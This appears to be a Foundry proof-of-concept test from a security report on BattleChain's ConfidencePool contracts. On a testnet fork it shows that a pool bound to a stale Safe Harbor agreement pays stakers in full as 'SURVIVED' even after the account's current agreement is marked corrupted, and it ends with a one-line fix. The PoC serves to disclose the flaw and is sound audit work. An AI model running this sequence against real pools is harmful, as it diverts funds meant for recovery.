This is a BattleChain testnet fork PoC. It uses live Safe Harbor Registry, AttackRegistry, and AgreementFactory contracts. The only local helper is a standard ERC20 test token used as the pool stake token.
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {
AgreementDetails,
Contact,
Chain as BCChain,
Account as BCAccount,
ChildContractScope,
BountyTerms,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
contract TestERC20 is ERC20 {
constructor() ERC20("Test Token", "TEST") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
interface IAttackRegistryLive {
enum ContractState { NOT_DEPLOYED, NEW_DEPLOYMENT, ATTACK_REQUESTED, UNDER_ATTACK, PROMOTION_REQUESTED, PRODUCTION, CORRUPTED }
function getAgreementState(address agreement) external view returns (ContractState);
function getAgreementForContract(address account) external view returns (address);
function getRegistryModerator() external view returns (address);
function instantPromote(address agreement) external;
function requestUnderAttack(address agreement) external payable;
function approveAttack(address agreement) external;
function markCorrupted(address agreement) external;
}
interface IAgreementFactoryLive {
function create(AgreementDetails memory details, address owner, bytes32 salt) external returns (address);
function isAgreementContract(address agreement) external view returns (bool);
}
interface IAgreementLive {
function isContractInScope(address account) external view returns (bool);
function extendCommitmentWindow(uint256 newCantChangeUntil) external;
}
contract BindingAgreementMismatchForkPoC is Test {
address constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address constant HISTORICAL_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address constant AGREEMENT_OWNER = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address constant SCOPED_ACCOUNT = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
IAttackRegistryLive registry = IAttackRegistryLive(ATTACK_REGISTRY);
IAgreementFactoryLive agreementFactory = IAgreementFactoryLive(AGREEMENT_FACTORY);
function test_staleAgreementPaysSurvivedEvenWhenCurrentBindingIsCorrupted() external {
vm.createSelectFork(vm.envString("BATTLECHAIN_TESTNET_RPC"));
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory poolFactory = ConfidencePoolFactory(address(new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), makeAddr("moderator")))
)));
TestERC20 token = new TestERC20();
poolFactory.setStakeTokenAllowed(address(token), true);
assertEq(registry.getAgreementForContract(SCOPED_ACCOUNT), HISTORICAL_AGREEMENT);
address[] memory scope = new address[](1);
scope[0] = SCOPED_ACCOUNT;
vm.prank(AGREEMENT_OWNER);
ConfidencePool pool = ConfidencePool(poolFactory.createPool(
HISTORICAL_AGREEMENT, address(token), block.timestamp + 45 days, 1 ether, makeAddr("recovery"), scope
));
address staker = makeAddr("staker");
token.mint(staker, 110 ether);
vm.startPrank(staker);
token.approve(address(pool), 110 ether);
pool.stake(100 ether);
pool.contributeBonus(10 ether);
vm.stopPrank();
pool.pokeRiskWindow();
address registryModerator = registry.getRegistryModerator();
vm.prank(registryModerator);
registry.instantPromote(HISTORICAL_AGREEMENT);
address currentBinding = _newAgreementForSameAccount(AGREEMENT_OWNER, SCOPED_ACCOUNT);
vm.prank(AGREEMENT_OWNER);
registry.requestUnderAttack(currentBinding);
assertEq(registry.getAgreementForContract(SCOPED_ACCOUNT), currentBinding);
vm.prank(registryModerator);
registry.approveAttack(currentBinding);
vm.prank(AGREEMENT_OWNER);
registry.markCorrupted(currentBinding);
vm.warp(pool.expiry());
address recovery = pool.recoveryAddress();
uint256 stakerBefore = token.balanceOf(staker);
uint256 recoveryBefore = token.balanceOf(recovery);
vm.prank(staker);
pool.claimExpired();
uint256 stakerPayout = token.balanceOf(staker) - stakerBefore;
uint256 recoveryPayout = token.balanceOf(recovery) - recoveryBefore;
console2.log("historicalAgreementState", uint8(registry.getAgreementState(HISTORICAL_AGREEMENT)));
console2.log("currentBindingAgreementState", uint8(registry.getAgreementState(currentBinding)));
console2.log("poolOutcome", uint8(pool.outcome()));
console2.log("stakerPayout", stakerPayout);
console2.log("recoveryPayout", recoveryPayout);
assertEq(uint8(registry.getAgreementState(HISTORICAL_AGREEMENT)), uint8(IAttackRegistryLive.ContractState.PRODUCTION));
assertEq(uint8(registry.getAgreementState(currentBinding)), uint8(IAttackRegistryLive.ContractState.CORRUPTED));
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.SURVIVED));
assertEq(stakerPayout, 110 ether);
assertEq(recoveryPayout, 0);
}
function _newAgreementForSameAccount(address owner, address account) internal returns (address) {
Contact[] memory contacts = new Contact[](1);
contacts[0] = Contact("owner", "test@example.com");
BCAccount[] memory accounts = new BCAccount[](1);
accounts[0] = BCAccount(_hex(account), ChildContractScope.None);
BCChain[] memory chains = new BCChain[](1);
chains[0] = BCChain(_hex(owner), accounts, "eip155:627");
AgreementDetails memory details = AgreementDetails({
protocolName: "Binding Mismatch PoC",
contactDetails: contacts,
chains: chains,
bountyTerms: BountyTerms(10, 100_000, true, IdentityRequirements.Anonymous, "", 0),
agreementURI: "ipfs://binding-mismatch-poc"
});
vm.prank(owner);
address agreement = agreementFactory.create(details, owner, keccak256(abi.encode(block.timestamp, account)));
assertTrue(agreementFactory.isAgreementContract(agreement));
assertTrue(IAgreementLive(agreement).isContractInScope(account));
vm.prank(owner);
IAgreementLive(agreement).extendCommitmentWindow(block.timestamp + 8 days);
return agreement;
}
function _hex(address a) internal pure returns (string memory) {
bytes16 symbols = "0123456789abcdef";
bytes memory out = new bytes(42);
out[0] = "0";
out[1] = "x";
uint160 value = uint160(a);
for (uint256 i; i < 20; i++) {
uint8 b = uint8(value >> (8 * (19 - i)));
out[2 + i * 2] = symbols[b >> 4];
out[3 + i * 2] = symbols[b & 0x0f];
}
return string(out);
}
}
Check the current Binding Agreement for every scoped account before accepting the pool scope.